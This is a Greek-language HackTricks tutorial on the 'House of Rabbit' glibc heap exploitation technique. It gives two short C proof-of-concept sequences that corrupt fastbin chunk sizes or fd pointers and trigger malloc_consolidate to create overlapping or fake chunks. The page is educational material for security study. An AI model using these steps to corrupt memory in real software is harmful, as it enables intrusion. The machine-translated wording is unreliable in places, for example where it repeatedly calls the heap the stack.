House of Rabbit

Υποστηρίξτε το HackTricks

Απαιτήσεις

  1. Ικανότητα τροποποίησης του δείκτη fd ή μεγέθους fast bin: Αυτό σημαίνει ότι μπορείτε να αλλάξετε τον προωθούμενο δείκτη ενός τμήματος στο fastbin ή το μέγεθός του.

  2. Ικανότητα ενεργοποίησης του malloc_consolidate: Αυτό μπορεί να γίνει είτε με τη δέσμευση ενός μεγάλου τμήματος είτε με τη συγχώνευση του κορυφαίου τμήματος, το οποίο αναγκάζει τη συγχώνευση των τμημάτων του σωρού.

Στόχοι

  1. Δημιουργία επικαλυπτόμενων τμημάτων: Να υπάρχει ένα τμήμα που επικαλύπτεται με ένα άλλο, επιτρέποντας περαιτέρω διαχείριση του σωρού.

  2. Δημιουργία ψεύτικων τμημάτων: Να εξαπατήσετε τον διανεμητή ώστε να θεωρήσει ένα ψεύτικο τμήμα ως νόμιμο κατά τις λειτουργίες του σωρού.

Βήματα της επίθεσης

POC 1: Τροποποίηση του μεγέθους ενός τμήματος fast bin

Στόχος: Δημιουργία ενός επικαλυπτόμενου τμήματος με την τροποποίηση του μεγέθους ενός τμήματος fastbin.

  • Βήμα 1: Δέσμευση Τμημάτων

unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40);  // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10);                          // Allocates a small chunk to change the fastbin state
  • Βήμα 2: Απελευθέρωση Χύματων

free(chunk1);  // Frees the chunk at 0x602000
free(chunk2);  // Frees the chunk at 0x602050
  • Βήμα 3: Τροποποίηση Μεγέθους Χαντρών

chunk1[-1] = 0xa1;  // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
  • Βήμα 4: Ενεργοποίηση της malloc_consolidate

malloc(0x1000);  // Allocate a large chunk to trigger heap consolidation

Η δέσμευση ενός μεγάλου κομματιού ενεργοποιεί τη λειτουργία malloc_consolidate, συγχωνεύοντας μικρά κομμάτια στο γρήγορο bin. Το χειρισμένο μέγεθος του chunk1 προκαλεί επικάλυψη με το chunk2.

Μετά τη συγχώνευση, το chunk1 επικαλύπτεται με το chunk2, επιτρέποντας περαιτέρω εκμετάλλευση.

POC 2: Τροποποίηση του δείκτη fd

Στόχος: Δημιουργία ψεύτικου κομματιού με τη χειρισμό του δείκτη fd του γρήγορου bin.

  • Βήμα 1: Δέσμευση Κομματιών

unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050

Εξήγηση: Δεσμεύουμε δύο τμήματα, ένα μικρό και ένα μεγαλύτερο, για να ρυθμίσουμε τη στοίβα για το ψεύτικο τμήμα.

  • Βήμα 2: Δημιουργία ψεύτικου τμήματος

chunk2[1] = 0x31;  // Fake chunk size 0x30
chunk2[7] = 0x21;  // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
  • Βήμα 3: Απελευθέρωση του chunk1

free(chunk1);  // Frees the chunk at 0x602000

Εξήγηση: Απελευθερώνουμε το chunk1, προσθέτοντάς το στη λίστα fastbin.

  • Βήμα 4: Τροποποίηση του fd του chunk1

chunk1[0] = 0x602060;  // Modify the fd of chunk1 to point to the fake chunk within chunk2

Εξήγηση: Αλλάζουμε τον προωθούμενο δείκτη (fd) του chunk1 ώστε να δείχνει στο ψεύτικο chunk μέσα στο chunk2.

  • Βήμα 5: Ενεργοποίηση της malloc_consolidate

malloc(5000);  // Allocate a large chunk to trigger heap consolidation

Η επαναδιάθεση ενός μεγάλου κομματιού ενεργοποιεί ξανά το malloc_consolidate, το οποίο επεξεργάζεται το ψεύτικο κομμάτι.

Το ψεύτικο κομμάτι γίνεται μέρος της λίστας fastbin, καθιστώντας το ένα νόμιμο κομμάτι για περαιτέρω εκμετάλλευση.

Σύνοψη

Η τεχνική House of Rabbit περιλαμβάνει είτε την τροποποίηση του μεγέθους ενός κομματιού fast bin για τη δημιουργία επικαλυπτόμενων κομματιών είτε τη χειραγώγηση του δείκτη fd για τη δημιουργία ψεύτικων κομματιών. Αυτό επιτρέπει στους εισβολείς να δημιουργήσουν νόμιμα κομμάτια στη στοίβα, επιτρέποντας διάφορες μορφές εκμετάλλευσης. Η κατανόηση και η εξάσκηση αυτών των βημάτων θα βελτιώσει τις δεξιότητές σας στην εκμετάλλευση της στοίβας.

Last updated